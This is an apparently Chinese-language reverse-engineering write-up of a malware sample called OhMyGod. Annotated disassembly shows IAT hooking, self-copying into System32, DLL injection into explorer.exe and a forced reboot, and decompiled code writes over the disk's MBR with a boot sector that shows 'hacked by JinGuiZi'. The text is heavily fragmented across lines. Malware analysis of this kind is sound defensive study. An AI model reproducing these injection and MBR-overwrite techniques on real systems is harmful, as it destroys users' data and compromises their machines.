接着,继续
00401150
/
$
83
EC
24
sub esp
,
0
x
24
00401153
|.
53
push ebx
00401154
|.
56
push esi
00401155
|.
57
push edi ; 获取当前进程
00401156
|.
6
A
00
push
0
x
0
;
/
pModule
=
NULL
00401158
|. FF
15
64804000
call dword ptr ds
:
[
<
&
KERNEL
32.
GetModuleHandleA
>
] ; \GetModuleHandleA
0040115
E |.
8
BF
8
mov edi
,
eax
00401160
|.
8
B
47
3
C mov eax
,
dword ptr ds
:
[edi
+
0
x
3
C] ; 获取PE头
00401163
|.
8
BB
438
800000
>
mov esi
,
dword ptr ds
:
[eax
+
edi
+
0
x
80
] ; 获取输入表
0040116
A |.
8
B
443
E
10
mov eax
,
dword ptr ds
:
[esi
+
edi
+
0
x
10
] ; 获取IAT
0040116
E |.
03
F
7
add
esi
,
edi
00401170
|.
85
C
0
test eax
,
eax
00401172
|.
74
21
je XOhMyGod.
00401195
00401174
|.
8
B
1
D
9
C
804000
mov ebx
,
dword ptr ds
:
[
<
&
KERNEL
32.
lstrcmpiA
>
] ; 将lstrcmpiA函数地址给ebx
0040117
A |
>
8
B
46
0
C
/
mov eax
,
dword ptr ds
:
[esi
+
0
xC] ; 获取输入表名字
0040117
D |.
68
8
C
904000
|push OhMyGod.
0040908
C ; ASCII
"USER32.DLL"
00401182
|.
03
C
7
|
add
eax
,
edi
00401184
|.
50
|push eax
00401185
|. FFD
3
|call ebx
00401187
|.
85
C
0
|test eax
,
eax ; 判断是否为user
32.
dll
00401189
|.
74
0
A |je XOhMyGod.
00401195
0040118
B |.
8
B
46
24
|mov eax
,
dword ptr ds
:
[esi
+
0
x
24
]
0040118
E |.
83
C
6
14
|
add
esi
,
0
x
14
; 加上一整个输入表的大小
0
x
14
00401191
|.
85
C
0
|test eax
,
eax
00401193
|.
^
75
E
5
\jnz XOhMyGod.
0040117
A
00401195
|
>
8
B
76
10
mov esi
,
dword ptr ds
:
[esi
+
0
x
10
] ; 将user
32.
dll的IAT给esi
00401198
|.
85
F
6
test esi
,
esi
0040119
A |.
74
6
C je XOhMyGod.
00401208
0040119
C |.
8
B
043
E mov eax
,
dword ptr ds
:
[esi
+
edi]
0040119
F |.
03
F
7
add
esi
,
edi
004011
A
1
|.
85
C
0
test eax
,
eax
004011
A
3
|.
74
63
je XOhMyGod.
00401208
004011
A
5
|.
8
B
1
D A
0804000
mov ebx
,
dword ptr ds
:
[
<
&
KERNEL
32.
VirtualQuery
>
] ; kernel
32.
VirtualQuery
004011
AB |.
8
B
3
D A
4804000
mov edi
,
dword ptr ds
:
[
<
&
KERNEL
32.
VirtualProtect
>
] ; kernel
32.
VirtualProtect
004011
B
1
|.
55
push ebp
004011
B
2
|.
8
B
2
D A
8804000
mov ebp
,
dword ptr ds
:
[
<
&
KERNEL
32.
WriteProcessMemory
>
] ; kernel
32.
WriteProcessMemory
004011
B
8
|
>
3
B
05
E
8
BA
4000
/
cmp eax
,
dword ptr ds
:
[
0
x
40
BAE
8
] ; user
32.
MessageBoxA
004011
BE |.
75
3
D |jnz XOhMyGod.
004011
FD
004011
C
0
|.
8
D
4
C
24
18
|lea ecx
,
dword ptr ss
:
[esp
+
0
x
18
]
004011
C
4
|.
6
A
1
C |push
0
x
1
C
004011
C
6
|.
51
|push ecx
004011
C
7
|.
56
|push esi
004011
C
8
|. FFD
3
|call ebx ;
/
/
VirtualQuery
004011
CA |.
8
D
5424
14
|lea edx
,
dword ptr ss
:
[esp
+
0
x
14
]
004011
CE |.
52
|push edx
004011
CF |.
6
A
04
|push
0
x
4
004011
D
1
|.
6
A
04
|push
0
x
4
004011
D
3
|.
56
|push esi
004011
D
4
|. FFD
7
|call edi ;
/
/
VirtualProtect
004011
D
6
|.
6
A
00
|push
0
x
0
004011
D
8
|.
8
D
4424
14
|lea eax
,
dword ptr ss
:
[esp
+
0
x
14
]
004011
DC |.
6
A
04
|push
0
x
4
;
4
个字节大小
004011
DE |.
50
|push eax ; 将MessageBoxA函数地址入栈
004011
DF |.
56
|push esi
004011
E
0
|. C
74424
20
301
>
|mov dword ptr ss
:
[esp
+
0
x
20
]
,
OhMyGod.
00401130
004011
E
8
|. FF
15
AC
804000
|call dword ptr ds
:
[
<
&
KERNEL
32.
GetCurrentProcess
>
] ; GetCurrentProcess
004011
EE |.
50
|push eax
004011
EF |. FFD
5
|call ebp ;
/
/
WriteProcessMerory
004011
F
1
|.
8
B
4
C
24
14
|mov ecx
,
dword ptr ss
:
[esp
+
0
x
14
] ; 将MessageBoxA函数地址写入到esi
004011
F
5
|.
6
A
00
|push
0
x
0
004011
F
7
|.
51
|push ecx
004011
F
8
|.
6
A
04
|push
0
x
4
004011
FA |.
56
|push esi
004011
FB |. FFD
7
|call edi ;
/
/
VirtualProtect
004011
FD |
>
8
B
46
04
|mov eax
,
dword ptr ds
:
[esi
+
0
x
4
] ; 找到MessageBoxA函数地址,在弹出goodjob的时候就利用这个地址
00401200
|.
83
C
6
04
|
add
esi
,
0
x
4
00401203
|.
85
C
0
|test eax
,
eax
00401205
|.
^
75
B
1
\jnz XOhMyGod.
004011
B
8
00401207
|.
5
D pop ebp
00401208
|
>
5
F pop edi
00401209
|.
5
E pop esi
0040120
A |.
5
B pop ebx
0040120
B |.
83
C
4
24
add
esp
,
0
x
24
0040120
E \. C
3
retn
下面看第七个call
004017
BE |. E
8
0
DFFFFFF call OhMyGod.
004016
D
0
进去
过程是,先获取当前出现名字,打开文件,获取文件大小,申请一块文件大小的空间,
再把申请的地址内容全部读入到一个buffer,最后写入到创建的GuiZi.exe完成自我复制的功能。
004016
D
0
/
$
81
EC
84000000
sub esp
,
0
x
84
; 作者本意是复制自己文件到系统目录下的GuiZi.exe,可是,没成功
没成功的原因是:CreateFile API第二个参数应该是GENERIC_READ,因为要读取
004016
D
6
|.
53
push ebx ; 不过为什么不直接用CopyFile呢
004016
D
7
|.
56
push esi
004016
D
8
|.
57
push edi
004016
D
9
|. B
9
1
F
000000
mov ecx
,
0
x
1
F
004016
DE |.
33
C
0
xor eax
,
eax
004016
E
0
|.
8
D
7
C
24
11
lea edi
,
dword ptr ss
:
[esp
+
0
x
11
]
004016
E
4
|. C
64424
10
00
mov byte ptr ss
:
[esp
+
0
x
10
]
,
0
x
0
004016
E
9
|.
68
80000000
push
0
x
80
;
/
BufSize
=
80
(
128.
)
004016
EE |. F
3
:
AB rep stos dword ptr es
:
[edi] ; |
004016
F
0
|.
66
:
AB stos
word
ptr es
:
[edi] ; |
004016
F
2
|. AA stos byte ptr es
:
[edi] ; |
004016
F
3
|.
8
D
4424
14
lea eax
,
dword ptr ss
:
[esp
+
0
x
14
] ; |
004016
F
7
|.
50
push eax ; |PathBuffer
004016
F
8
|.
6
A
00
push
0
x
0
; |hModule
=
NULL
004016
FA |. FF
15
80804000
call dword ptr ds
:
[
<
&
KERNEL
32.
GetModuleFileNameA
>
>
; \GetModuleFileNameA
00401700
|.
8
B
1
D B
8804000
mov ebx
,
dword ptr ds
:
[
<
&
KERNEL
32.
CreateFileA
>
] ; kernel
32.
CreateFileA
00401706
|.
6
A
00
push
0
x
0
;
/
hTemplateFile
=
NULL
00401708
|.
68
80000000
push
0
x
80
; |Attributes
=
NORMAL
0040170
D |.
6
A
03
push
0
x
3
; |Mode
=
OPEN_EXISTING
0040170
F |.
6
A
00
push
0
x
0
; |pSecurity
=
NULL
00401711
|.
6
A
03
push
0
x
3
; |ShareMode
=
FILE_SHARE_READ|FILE_SHARE_WRITE
00401713
|.
8
D
4
C
24
24
lea ecx
,
dword ptr ss
:
[esp
+
0
x
24
] ; |
00401717
|.
68
00000010
push
0
x
10000000
; |Access
=
GENERIC_ALL
0040171
C |.
51
push ecx ; |FileName
0040171
D |. FFD
3
call ebx ; \CreateFileA
0040171
F |.
8
D
5424
0
C lea edx
,
dword ptr ss
:
[esp
+
0
xC]
00401723
|.
8
BF
0
mov esi
,
eax
00401725
|.
52
push edx ;
/
pFileSizeHigh
00401726
|.
56
push esi ; |hFile
00401727
|. FF
15
7
C
804000
call dword ptr ds
:
[
<
&
KERNEL
32.
GetFileSize
>
] ; \GetFileSize
0040172
D |.
8
B
4424
0
C mov eax
,
dword ptr ss
:
[esp
+
0
xC]
00401731
|.
6
A
04
push
0
x
4
;
/
flProtect
=
4
00401733
|.
68
00100000
push
0
x
1000
; |flAllocationType
=
1000
(
4096.
)
00401738
|.
50
push eax ; |dwSize
00401739
|.
6
A
00
push
0
x
0
; |lpAddress
=
NULL
0040173
B |.
6
A
00
push
0
x
0
; |hProcess
=
NULL
0040173
D |. FF
15
48804000
call dword ptr ds
:
[
<
&
KERNEL
32.
VirtualAllocEx
>
] ; \VirtualAllocEx
00401743
|.
8
B
5424
0
C mov edx
,
dword ptr ss
:
[esp
+
0
xC]
00401747
|.
8
D
4
C
24
0
C lea ecx
,
dword ptr ss
:
[esp
+
0
xC]
0040174
B |.
6
A
00
push
0
x
0
;
/
pOverlapped
=
NULL
0040174
D |.
8
BF
8
mov edi
,
eax ; |
0040174
F |.
51
push ecx ; |pBytesRead
00401750
|.
52
push edx ; |BytesToRead
00401751
|.
57
push edi ; |Buffer
00401752
|.
56
push esi ; |hFile
00401753
|. FF
15
78804000
call dword ptr ds
:
[
<
&
KERNEL
32.
ReadFile
>
] ; \ReadFile
00401759
|.
6
A
00
push
0
x
0
;
/
hTemplateFile
=
NULL
0040175
B |.
68
80000000
push
0
x
80
; |Attributes
=
NORMAL
00401760
|.
6
A
02
push
0
x
2
; |Mode
=
CREATE_ALWAYS
00401762
|.
6
A
00
push
0
x
0
; |pSecurity
=
NULL
00401764
|.
6
A
03
push
0
x
3
; |ShareMode
=
FILE_SHARE_READ|FILE_SHARE_WRITE
00401766
|.
68
00000010
push
0
x
10000000
; |Access
=
GENERIC_ALL
0040176
B |.
68
F
4904000
push OhMyGod.
004090
F
4
; |FileName
=
"C:\WINDOWS\SYSTEM32\GuiZi.exe"
00401770
|. FFD
3
call ebx ; \CreateFileA
00401772
|.
8
B
4
C
24
0
C mov ecx
,
dword ptr ss
:
[esp
+
0
xC]
00401776
|.
8
BD
8
mov ebx
,
eax
00401778
|.
8
D
4424
0
C lea eax
,
dword ptr ss
:
[esp
+
0
xC]
0040177
C |.
6
A
00
push
0
x
0
;
/
pOverlapped
=
NULL
0040177
E |.
50
push eax ; |pBytesWritten
0040177
F |.
51
push ecx ; |nBytesToWrite
00401780
|.
57
push edi ; |Buffer
00401781
|.
53
push ebx ; |hFile
00401782
|. FF
15
BC
804000
call dword ptr ds
:
[
<
&
KERNEL
32.
WriteFile
>
] ; \WriteFile
00401788
|.
8
B
3
D B
0804000
mov edi
,
dword ptr ds
:
[
<
&
KERNEL
32.
CloseHandle
>
] ; kernel
32.
CloseHandle
0040178
E |.
53
push ebx ;
/
hObject
0040178
F |. FFD
7
call edi ; \CloseHandle
00401791
|.
56
push esi ;
/
hObject
00401792
|. FFD
7
call edi ; \CloseHandle
00401794
|.
5
F pop edi
00401795
|.
5
E pop esi
00401796
|.
5
B pop ebx ;
7
FFDE
000
00401797
|.
81
C
4
84000000
add
esp
,
0
x
84
0040179
D \. C
3
retn
再看第八个call
004017
C
3
|. E
8
58
F
8
FFFF call OhMyGod.
00401020
完成对ASCII
"Shabisafhlfiakhfdka"
解密, “Shbeo
}
p
{
剱摖9孟 荏?K”,目测是个干扰,没用的地方
第
9
个call就弹一个提示框,我们跳过
再看第十个call
004017
DC |. E
8
EFFAFFFF call OhMyGod.
004012
D
0
这个call
功能:创建一个rand
(
)
.dll,并LoadLibraryA
(
rand
(
)
.dll
)
,注入到桌面进程,方便系统中招。
004012
D
0
/
$
81
EC
28010000
sub esp
,
0
x
128
004012
D
6
|.
53
push ebx
004012
D
7
|.
55
push ebp
004012
D
8
|.
56
push esi
004012
D
9
|.
57
push edi
004012
DA |.
33
FF xor edi
,
edi
004012
DC |. C
74424
10
280
>
mov dword ptr ss
:
[esp
+
0
x
10
]
,
0
x
128
004012
E
4
|.
57
push edi ;
/
ProcessID
=
>
0
004012
E
5
|.
6
A
02
push
0
x
2
; |Flags
=
TH
32
CS_SNAPPROCESS
004012
E
7
|. E
8
10050000
call
<
jmp.
&
KERNEL
32.
CreateToolhelp
32
Snap
>
; \CreateToolhelp
32
Snapshot
004012
EC |.
8
BE
8
mov ebp
,
eax
004012
EE |.
8
D
4424
10
lea eax
,
dword ptr ss
:
[esp
+
0
x
10
]
004012
F
2
|.
50
push eax ;
/
lppe
004012
F
3
|.
55
push ebp ; |hSnapshot
004012
F
4
|. E
8
FD
040000
call
<
jmp.
&
KERNEL
32.
Process
32
First
>
; \Process
32
First
004012
F
9
|.
85
C
0
test eax
,
eax
004012
FB |.
74
4
F je XOhMyGod.
0040134
C
004012
FD |
>
BE A
8904000
/
mov esi
,
OhMyGod.
004090
A
8
; ASCII
"explorer.exe"
00401302
|.
8
D
4424
34
|lea eax
,
dword ptr ss
:
[esp
+
0
x
34
]
00401306
|
>
8
A
10
|
/
mov dl
,
byte ptr ds
:
[eax]
00401308
|.
8
A
1
E ||mov bl
,
byte ptr ds
:
[esi]
0040130
A |.
8
ACA ||mov cl
,
dl
0040130
C |.
3
AD
3
||cmp dl
,
bl
0040130
E |.
75
1
E ||jnz XOhMyGod.
0040132
E
00401310
|.
84
C
9
||test cl
,
cl
00401312
|.
74
16
||je XOhMyGod.
0040132
A
00401314
|.
8
A
50
01
||mov dl
,
byte ptr ds
:
[eax
+
0
x
1
]
00401317
|.
8
A
5
E
01
||mov bl
,
byte ptr ds
:
[esi
+
0
x
1
]
0040131
A |.
8
ACA ||mov cl
,
dl
0040131
C |.
3
AD
3
||cmp dl
,
bl
0040131
E |.
75
0
E ||jnz XOhMyGod.
0040132
E
00401320
|.
83
C
0
02
||
add
eax
,
0
x
2
00401323
|.
83
C
6
02
||
add
esi
,
0
x
2
00401326
|.
84
C
9
||test cl
,
cl
00401328
|.
^
75
DC |\jnz XOhMyGod.
00401306
0040132
A |
>
33
C
0
|xor eax
,
eax
0040132
C |. EB
05
|jmp XOhMyGod.
00401333
0040132
E |
>
1
BC
0
|sbb eax
,
eax
00401330
|.
83
D
8
FF |sbb eax
,
-0
x
1
00401333
|
>
85
C
0
|test eax
,
eax
00401335
|.
74
11
|je XOhMyGod.
00401348
00401337
|.
8
D
4424
10
|lea eax
,
dword ptr ss
:
[esp
+
0
x
10
]
0040133
B |.
50
|push eax ;
/
lppe
0040133
C |.
55
|push ebp ; |hSnapshot
0040133
D |. E
8
AE
040000
|call
<
jmp.
&
KERNEL
32.
Process
32
Next
>
; \Process
32
Next
00401342
|.
85
C
0
|test eax
,
eax
00401344
|.
^
75
B
7
\jnz XOhMyGod.
004012
FD
00401346
|. EB
04
jmp XOhMyGod.
0040134
C
00401348
|
>
8
B
7
C
24
18
mov edi
,
dword ptr ss
:
[esp
+
0
x
18
]
0040134
C |
>
57
push edi ;
/
ProcessId
0040134
D |.
6
A
00
push
0
x
0
; |Inheritable
=
FALSE
0040134
F |.
68
FF
0
F
1
F
00
push
0
x
1
F
0
FFF ; |Access
=
PROCESS_ALL_ACCESS
00401354
|. FF
15
4
C
804000
call dword ptr ds
:
[
<
&
KERNEL
32.
OpenProces
>
; \OpenProcess
0040135
A |.
8
BF
0
mov esi
,
eax
0040135
C |. E
8
AFFEFFFF call OhMyGod.
00401210
; 在系统目录创建一个rand
(
)
.dll,写入MBR使用
00401361
|.
8
BD
8
mov ebx
,
eax
00401363
|.
83
C
9
FF
or
ecx
,
0
xFFFFFFFF
00401366
|.
8
BFB mov edi
,
ebx
00401368
|.
33
C
0
xor eax
,
eax
0040136
A |. F
2
:
AE repne scas byte ptr es
:
[edi]
0040136
C |. F
7
D
1
not
ecx
0040136
E |.
6
A
04
push
0
x
4
;
/
flProtect
=
4
00401370
|.
49
dec ecx ; |
00401371
|.
68
00100000
push
0
x
1000
; |flAllocationType
=
1000
(
4096.
)
00401376
|.
51
push ecx ; |dwSize
00401377
|.
50
push eax ; |lpAddress
=
>
NULL
00401378
|.
56
push esi ; |hProcess
00401379
|. FF
15
48804000
call dword ptr ds
:
[
<
&
KERNEL
32.
VirtualAll
>
; \VirtualAllocEx
0040137
F |.
8
BE
8
mov ebp
,
eax
00401381
|.
8
BFB mov edi
,
ebx
00401383
|.
83
C
9
FF
or
ecx
,
0
xFFFFFFFF
00401386
|.
33
C
0
xor eax
,
eax
00401388
|. F
2
:
AE repne scas byte ptr es
:
[edi]
0040138
A |. F
7
D
1
not
ecx
0040138
C |.
49
dec ecx
0040138
D |.
6
A
00
push
0
x
0
;
/
pBytesWritten
=
NULL
0040138
F |.
51
push ecx ; |BytesToWrite
00401390
|.
53
push ebx ; |Buffer
00401391
|.
55
push ebp ; |Address
00401392
|.
56
push esi ; |hProcess
00401393
|. FF
15
A
8804000
call dword ptr ds
:
[
<
&
KERNEL
32.
WriteProce
>
; \WriteProcessMemory
00401399
|.
8
B
0
D
44804000
mov ecx
,
dword ptr ds
:
[
<
&
KERNEL
32.
LoadLib
>
; kernel
32.
LoadLibraryA
0040139
F |.
6
A
00
push
0
x
0
;
/
lpThreadId
=
NULL
004013
A
1
|.
6
A
00
push
0
x
0
; |dwCreationFlags
=
0
004013
A
3
|.
55
push ebp ; |lpParameter
004013
A
4
|.
51
push ecx ; |lpStartAddress
=
>
kernel
32.
LoadLibraryA
004013
A
5
|.
6
A
00
push
0
x
0
; |dwStackSize
=
0
004013
A
7
|.
6
A
00
push
0
x
0
; |lpThreadAttributes
004013
A
9
|.
56
push esi ; |hProcess
004013
AA |. FF
15
40804000
call dword ptr ds
:
[
<
&
KERNEL
32.
CreateRemo
>
; \CreateRemoteThread
004013
B
0
|.
8
BF
8
mov edi
,
eax
004013
B
2
|.
6
A FF push
-0
x
1
;
/
Timeout
=
INFINITE
004013
B
4
|.
57
push edi ; |hObject
004013
B
5
|. FF
15
3
C
804000
call dword ptr ds
:
[
<
&
KERNEL
32.
WaitForSin
>
; \WaitForSingleObject
004013
BB |.
68
00800000
push
0
x
8000
;
/
dwFreeType
=
8000
(
32768.
)
004013
C
0
|.
6
A
00
push
0
x
0
; |dwSize
=
0
004013
C
2
|.
55
push ebp ; |lpAddress
004013
C
3
|.
56
push esi ; |hProcess
004013
C
4
|. FF
15
38804000
call dword ptr ds
:
[
<
&
KERNEL
32.
VirtualFre
>
; \VirtualFreeEx
004013
CA |.
56
push esi ;
/
hObject
004013
CB |.
8
B
35
B
0804000
mov esi
,
dword ptr ds
:
[
<
&
KERNEL
32.
CloseHa
>
; |kernel
32.
CloseHandle
004013
D
1
|. FFD
6
call esi ; \CloseHandle
004013
D
3
|.
57
push edi ;
/
hObject
004013
D
4
|. FFD
6
call esi ; \CloseHandle
004013
D
6
|.
5
F pop edi
004013
D
7
|.
5
E pop esi
004013
D
8
|.
5
D pop ebp
004013
D
9
|.
5
B pop ebx
004013
DA |.
81
C
4
28010000
add
esp
,
0
x
128
004013
E
0
\. C
3
retn
看最后一个call
004017
E
5
|. E
8
B
6
FCFFFF call OhMyGod.
004014
A
0
获取系统版本,然后重启,当然MBR被恶意修改了,就不能进入系统了
004014
A
0
/
$
8
B
4424
04
mov eax
,
dword ptr ss
:
[esp
+
0
x
4
]
004014
A
4
|.
81
EC
94000000
sub esp
,
0
x
94
004014
AA |.
85
C
0
test eax
,
eax
004014
AC |.
74
13
je XOhMyGod.
004014
C
1
004014
AE |.
83
F
8
02
cmp eax
,
0
x
2
004014
B
1
|.
74
0
E je XOhMyGod.
004014
C
1
004014
B
3
|.
83
F
8
01
cmp eax
,
0
x
1
004014
B
6
|.
74
09
je XOhMyGod.
004014
C
1
004014
B
8
|.
33
C
0
xor eax
,
eax
004014
BA |.
81
C
4
94000000
add
esp
,
0
x
94
004014
C
0
|. C
3
retn
004014
C
1
|
>
57
push edi
004014
C
2
|. B
9
24000000
mov ecx
,
0
x
24
004014
C
7
|.
33
C
0
xor eax
,
eax
004014
C
9
|.
8
D
7
C
24
08
lea edi
,
dword ptr ss
:
[esp
+
0
x
8
]
004014
CD |. F
3
:
AB rep stos dword ptr es
:
[edi]
004014
CF |.
8
D
4424
04
lea eax
,
dword ptr ss
:
[esp
+
0
x
4
]
004014
D
3
|. C
74424
04
940
>
mov dword ptr ss
:
[esp
+
0
x
4
]
,
0
x
94
004014
DB |.
50
push eax ;
/
pVersionInformation
004014
DC |. FF
15
5
C
804000
call dword ptr ds
:
[
<
&
KERNEL
32.
GetVersion
>
; \GetVersionExA
004014
E
2
|.
85
C
0
test eax
,
eax
004014
E
4
|.
5
F pop edi
004014
E
5
|.
75
07
jnz XOhMyGod.
004014
EE
004014
E
7
|.
81
C
4
94000000
add
esp
,
0
x
94
004014
ED |. C
3
retn
004014
EE |
>
837
C
24
10
02
cmp dword ptr ss
:
[esp
+
0
x
10
]
,
0
x
2
004014
F
3
|.
75
05
jnz XOhMyGod.
004014
FA
004014
F
5
|. E
8
F
6
FEFFFF call OhMyGod.
004013
F
0
004014
FA |
>
6
A
00
push
0
x
0
;
/
Reserved
=
0
004014
FC |.
6
A
06
push
0
x
6
; |Options
=
EWX_REBOOT|EWX_FORCE
004014
FE |. FF
15
54814000
call dword ptr ds
:
[
<
&
USER
32.
ExitWindowsE
>
; \ExitWindowsEx
00401504
|.
81
C
4
94000000
add
esp
,
0
x
94
0040150
A \. C
3
retn
在看MBR之前,我们看下那个dll,用IDA静态看下
发现只有DllMain一个函数
,
发现是这个样子
strcpy
(
(
char
*
)
FileName
,
"\\\\.\\PHYSICALDRIVE0"
)
;
CreateFileA
(
FileName
,
0
xC
0000000
u
,
0
,
0
,
3
u
,
0
x
80
u
,
0
)
;
WriteFile
(
hObject
,
&
Buffer
,
0
x
200
u
,
&
NumberOfBytesWritten
,
0
)
;
此时我们再用winhex到处MBR,IDA静态分析下,详细的MBR学习请转帖到willJ大大的MBR学习哦
;org
7
C
00
h
seg
000
:
7
C
00
assume es
:
nothing
,
ss
:
nothing
,
ds
:
nothing
,
fs
:
nothing
,
gs
:
nothing
seg
000
:
7
C
00
B
8
12
00
mov ax
,
12
h ; 设置显示器模式,
12
H:
640
×
480
16
色
seg
000
:
7
C
03
CD
10
int
10
h ;
-
VIDEO
-
SET VIDEO MODE
seg
000
:
7
C
03
; AL
=
mode
seg
000
:
7
C
05
BD
18
7
C mov bp
,
7
C
18
h ; es
:
bp字符串的地址
seg
000
:
7
C
08
B
9
13
00
mov cx
,
13
h ; 显示字符串长度为
0
x
13
seg
000
:
7
C
0
B B
8
01
13
mov ax
,
1301
h ; ah
=
13
h
,
al
=
01
h 表示执行int
10
中断的
13
号程序功能(在Teletype模式下显示字符串)
seg
000
:
7
C
0
E BB
0
C
00
mov bx
,
0
Ch ; bl
=
0
Ch,表示属性,背景色为黑色,字体颜色为淡红色
seg
000
:
7
C
11
BA
00
00
mov dx
,
0
; dh
=
0
;表示第
0
列第
0
行
seg
000
:
7
C
14
CD
10
int
10
h ;
-
VIDEO
-
WRITE STRING
(
AT
,
XT
286
,
PS
,
EGA
,
VGA
)
seg
000
:
7
C
14
; AL
=
mode
,
BL
=
attribute
if
AL bit
1
clear
,
BH
=
display
page
number
seg
000
:
7
C
14
; DH
,
DL
=
row
,
column
of
starting cursor
position
,
CX
=
length
of
string
seg
000
:
7
C
14
; ES
:
BP
-
>
start
of
string
seg
000
:
7
C
14
;
seg
000
:
7
C
16
E
2
FE loop loc_
7
C
16
; 死循环
seg
000
:
7
C
16
;
seg
000
:
7
C
18
68
61
63
6
B
65
64
20
62
+
aHackedByJingui db 'hacked
by
JinGuiZi ' ; 要显示的字符串
MBR最后两位
0
x
55
,
0
xAA
seg
000
:
7
DFE
55
db
55
h ; U
seg
000
:
7
DFF AA db
0
AAh ;